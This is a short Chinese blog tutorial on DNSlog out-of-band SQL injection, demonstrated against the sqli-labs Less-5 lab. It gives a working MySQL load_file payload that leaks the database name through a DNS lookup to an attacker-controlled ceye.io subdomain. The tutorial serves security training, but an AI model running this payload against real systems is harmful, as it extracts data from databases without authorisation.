美文网首页WEB渗透与网络安全
利用dnslog进行无回显注入

利用dnslog进行无回显注入

作者: 原来是老王 | 来源:发表于2019-08-21 17:39 被阅读10次

原理

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

使用平台

CEYE

CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。

过程

CEYE

Identifier是你的地址

这个CEYE到底怎么用呢
CEYE会分配一个三级域名如:xxx.ceye.io,你访问任意一个四级域名系统就会自动记录你访问的四级域名,如:test.xxx.ceye.io
http://10.10.10.154/sqli/Less-5/?id=1 sqli的第五关
无回显
这里使用mysql中load_file()函数

LOAD_FILE(file_name)
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
在MySQL5.0.19,character_set_filesystem系统变量控制文件名的解释,即仅作文字字符串。



CEYE会记录
这样就会获得当前数据库名
直接去拼接就OK了

' and if((select load_file(concat('\\',(select database()),'.XXXXX.ceye.io\abc'))),1,1)--+

相关文章

  • 利用dnslog进行无回显注入

    原理 在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读...

  • 面试精华问题

    问:Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mssql 下又如何? 答: ...

  • SQL注入

    用户输入数据被当成了代码被执行原则有回显:union select、报错注入无回显:dnslog, time-ba...

  • Dnslog注入

    Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog记录显示我们的注入结果 Dnslog...

  • dnslog注入

    condition:Windows+MYSQL https://github.com/ADOOO/DnslogSq...

  • Mysql注入-报错注入

    当页面存在注入点并且回显报错信息时,我们就可以利用报错注入 updataxml报错注入: 该报错最多显示32位,若...

  • SQL注入记录

    sql 注入 1.盲注 (没有回显)2.显错注入3.报错注入 显错注入-联合查询(Mysql数据库)的基本流程 显...

  • sqli-labs Less-23

    首先判断注入类型为单字符注入,但是用0' or 1=1 %23进行注入时发现没有正确回显 结合题名大概猜测过滤了注...

  • JavaWeb日记——利用标签进行回显

    在网页开发中回显是一个很常见的操作,它可以使添加和修改都用同一个页面,更值得一提的是,不仅是文字,连一些radio...

  • sqli-labs Less-58-61

    Less-58没搞懂这个是怎么回显了,因为并没有回显账号密码而是回显了两个账号因为有报错回显,报错注入/updat...

网友评论

    本文标题:利用dnslog进行无回显注入

    本文链接:https://www.haomeiwen.com/subject/nkeisctx.html